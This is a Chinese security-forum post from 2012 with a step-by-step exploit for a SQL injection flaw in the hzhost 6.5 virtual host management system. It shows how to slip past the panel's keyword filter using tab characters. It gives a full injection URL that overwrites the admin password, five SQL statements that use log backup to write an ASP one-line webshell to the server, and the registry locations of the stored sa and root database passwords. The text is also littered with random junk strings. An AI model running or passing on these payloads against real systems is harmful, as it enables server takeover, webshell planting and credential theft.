找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1892|回复: 0
打印 上一主题 下一主题

再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 15:03:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
, k7 V$ n) d3 _. q- J( M 只讲两个要点。
' q, o" o% }( T3 g) M6 u7 M+ _, F, h. Y第一,如何拿网站管理员权限。: M7 {1 E! y- s- [% D% k
第二,如何备份木马。4 G% q' O( H$ P% d+ s/ L
这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。, m6 f' d# l$ [" @
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。) H. p  l8 ?" J" i% h) g
httP://www.xxbing.com QQ178737315
3 ]" D/ }/ k3 Z: x: R由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。
- c5 Z) c- e) X/ a9 r9 K- n" T* G) `------------开放浏览-------------
1 M! g; W/ e9 Q+ l$ N: m 漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!  }* n) ~; H0 a+ s2 W
-------------------------13-15行----------------------------
9 U, U6 m' k/ e6 ] querytype=SafeRequest("querytype")  //saferequest函数接受数据
; n$ z" p! X8 L if chk_int(querytype)=false then  //检查是否是整数
! X, [# x# x% x$ Y9 t1 j4 [2 y    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."
: n: S$ j0 {: a3 R2 l% D -------------------------37-42行---------------------------1 d) X( R6 A% r  g
elseif querytype=5 then //如果类型为5。就接受qu1数据!7 J9 ?/ S% b6 O' k1 g/ n: x) g
   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!6 b( R5 ]9 @; b/ b4 r5 x
   + I, R5 \- N4 I+ J6 W5 ?5 t0 h& n" @
    if  qu1="" then  //不能为空  {$ D# R2 J3 Q
         call errorpage(-2,"对不起,请选择参数!")
0 D+ K+ p3 t3 H3 [   end if         
4 C1 k$ F& ^& e      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!) P' S# e) P4 G* l# V! N
-------------------------62-65行---------------------------: p: n. x* S0 \  @7 ?3 a9 [2 p2 X2 X& [
qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
8 j/ u5 Z" n7 M+ Q if qu7<>"" then
* ], Q4 T. d2 k. u5 Q; g. {qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!7 z, {! O  ]$ E# u8 ?' R% v
end if / Z# k% a/ _0 _, X4 V8 ~
--------------------------117行-----------------------------/ p5 c$ E3 T: j1 F! M" D* G
query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring : u9 B; t- t) V8 r
//到这里就丢进去查询了!& W* G9 p; M9 z. I

, ^5 D! q" p( p 来看看saferequest()函数。
1 I; {2 ?3 S" E- G% H. _------------------incs/config.asp中-------------------------
" A# q. v. n4 ^# I; @' \ Function SafeRequest(ParaName)
' \& Q* J( ?* p3 ^; Y6 C  k. }, X Dim ParaValue
2 s0 l/ d4 T7 u+ {# A ParaValue=Request(ParaName)  //获取数据# ?. q% \  v, k! x
if IsNumeric(ParaValue)  then  //如果是数字
9 l" a! B( N' P2 }4 Q SafeRequest=ParaValue  //那就不过滤,直接赋值! Y6 ?: A; v7 {" Z3 x7 T
exit Function
5 B% E! F' l! @+ d
! ~. C3 ?( ^) J0 T else2 |% X9 g* I5 _0 G7 k9 ?' G/ q
ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写( m. E; N# L( @& W: S
tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"+ |1 I4 m: o- h
//定义要过滤的字符!
$ d8 P' A* C' ?7 L& }# I# Q6 M+ [9 x1 S
他过滤方式有问题。。。没有过滤 * / % / -- / ;
3 k: ?4 W. L4 ^& x2 d 而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。5 `- d5 Y7 F$ G* G& V  K
; F  p* a+ H8 L  H4 a  ?
temps=split(tempvalue,"|")           //转为一维数组
5 m. s$ ]+ z; R, e$ M for mycount=0 to ubound(temps)       //循环读数组内数据
+ o: W' X/ `/ M$ L6 ]  a+ l1 q$ N5 t if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。
8 i9 p1 \' D7 |4 y' M                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!
# m( @9 }  o: ]  [: G                 response.end
1 t* U3 Q& d! w end if
  d9 P. Y/ T5 |1 J4 J next. _+ V( s9 @, v" w0 F. \
SafeRequest=ParaValue
; K: X2 |% n- y2 _: L3 U. I- p% G end if, {# h8 t( ~/ {  T& H7 V
End function
: P) ^* }. b) J& N  S+ |0 @ -------------------------------------9 |/ A& R/ W3 {& @0 A8 n, v4 [9 E
: m- _& ^0 E# U" h5 R. n
所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。6 `8 z( ~% ^8 r/ W8 m
先给出查询语句的框架。& i  K" I8 m$ Y. E. f
select * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
# ~* H1 @$ k9 r+ G; E$ m( c4 s
- t4 Z* t" S/ N3 g) g 为了使语句顺利执行:! C0 m& ]& D/ {, O
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。
) G! L! `3 Z3 c 这里我给出条示范语句,即{我们的语句}1 B0 t4 W, }  L# h4 T- L- v0 c
UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E) j. M. d2 p* }2 m/ w( }& Z

, g, C. k0 m$ Z- _& m这条语句能够绕过saferequest函数的检测。没有出现单引号。
# y9 D) F) i. ~! q" V% R 我们提交:) J# x% Q/ D; I% ]
http://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
, J% P6 N. O# F) A6 r! y7 o: K( F
: V6 d0 X4 u# a; |5 G7 x( J 这句话就能够将admin的密码修改成123456
+ f" W. r) C6 z# K( Q$ U5 m 到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。3 K9 A! N+ [- e+ e
第二步是要备份挂马。
, E( ^+ |0 ]; X" C 大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(# R1 q2 w" J  ^. [$ b5 G3 ]) b0 i
导致备马的这条语句失败。) R1 ^7 Y6 ~. H) P; j/ l, I% i
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。0 O; ]' X) K& ]9 p

( U* X. t$ O# j. l) R' M( @ 有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。* D1 R' `5 s- M- u# d( D
由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(4 l$ S! `' {# ~
接下来放出详细语句。大家放入{我们的语句中}; _, T$ U  R: q/ P) g
第 一 步:
8 b7 I% Q5 _% t/ g: D% \" w create table [dbo].[shit_tmp] ([cmd] [image])--
7 V# S$ Q) ?% a) \( u- w$ D 第 二 步
+ a9 c4 s+ o( t% ~7 U. W4 Z2 W# g declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
, t! H; F1 y# v 第 三 步& B/ I5 p( ^) ]3 V
insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
. |) S) r  e. F" l4 o 第 四 步
- k# M7 t0 {/ e) ]/ P0 V& e declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--5 `/ z+ c' a6 Z+ P( V% i' o, L
第 五 步$ U. |' k# R; b) |
Drop table [shit_tmp]--$ k' R7 p) x! @, X/ v8 V- O- ^
* v% |8 z1 t! ^& f* Y+ l
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。1 t5 S0 m2 d) g8 c) ~3 n! J
一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。1 j% h7 B8 w1 v+ w" n# l. e
请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》1 n3 T& N# l; d% O9 |9 b8 F

2 q7 t9 c; E4 |$ M* G" Y4 _最后是答疑部分:3 ~. E- O% p0 F1 X& t
1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。
9 A7 ~& i1 `7 U: |* R8 ?) b8 S6 Y" k8 L! l) b
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x650031003000610064006300330039003400390062006100350039006100620062006500350036006500300035003700660032003000660038003800330065008 V2 f. B9 V5 s4 I# P
这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:4 Z  W4 K. e3 ?- e5 M/ Y
0x65313061646333393439626135396162626535366530353766323066383833653 k% ]: g6 f. y- z( _, V
大家仔细观察,会发现,其实只是去掉了一些00。。$ [1 D+ k7 N5 x( w; _
所以大家在转换其他md5的时候,注意此问题。
6 O2 P" F7 b; A  S9 a4 }6 W/ ]; y& e+ c: n; P, M, \+ G) l
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
  _9 a1 J+ f( f  ]1 b 另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
, ?/ d8 R3 v/ _' D1 w9 u6 V2 F& v6 H3 e+ Q2 I$ b  h* B/ {
4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。
' C) D- P' S  n; t, O, d 有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
3 n& r4 H1 L2 \
; ?" F/ T, h, m  z 5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。( d: z* v: M- v) a
9 D7 ~! e- i9 x0 [+ z6 _; h
6::  }, V: z+ p, Q  e6 a
sa密码。root密码。" Y6 w; t" a1 s) o' \1 s/ S
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
. ]5 U2 t* J" r) e mysqlpass---root密码3 c- [: X+ Y1 @2 T8 |0 R
mssqlpss----sa密码
, X( U  W; c. x5 C
1 \3 K( v( d8 x6 F+ E/ j- U; ^2 n1 F# l3 T1 P+ i4 L" f( p( H
7.如果路径不在D:/hzhost
7 ~: Y% u8 j, _  a' |+ S 那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。# }" N( d2 x$ Y2 F5 U4 N- Z9 m
或者去读注册表。9 T/ s8 J4 E) I+ e3 w
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下6 R3 E  M* _" n7 ^7 J
"wwwrootpath"="e:\\wwwroot"
0 a, j( a* t' ? "urlsiteroot"="D:\\hzhost\\hzhost_url"
) ^. |7 f6 W- l# {/ T, Y "ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)( r& M5 D) ~% r
大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!8 N# }/ q4 a% y4 l$ ^' U% a
5 f# L3 i4 K" ]% [! m: J
利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)3 X7 J3 [* e2 s! C' E" n
hzhost最新漏洞.rar
  y7 m5 N& H3 x. T) u 饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!$ e- D8 h# W) e# @) s

  ~) d1 u* M) X( b$ d8 Z 最后,还是版权。5 [- [/ F: E* P: a+ M
http://www.xxbing.com QQ178737315
" |9 N" f3 K+ @4 t/ T 允许自由转载。但请注明作者。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表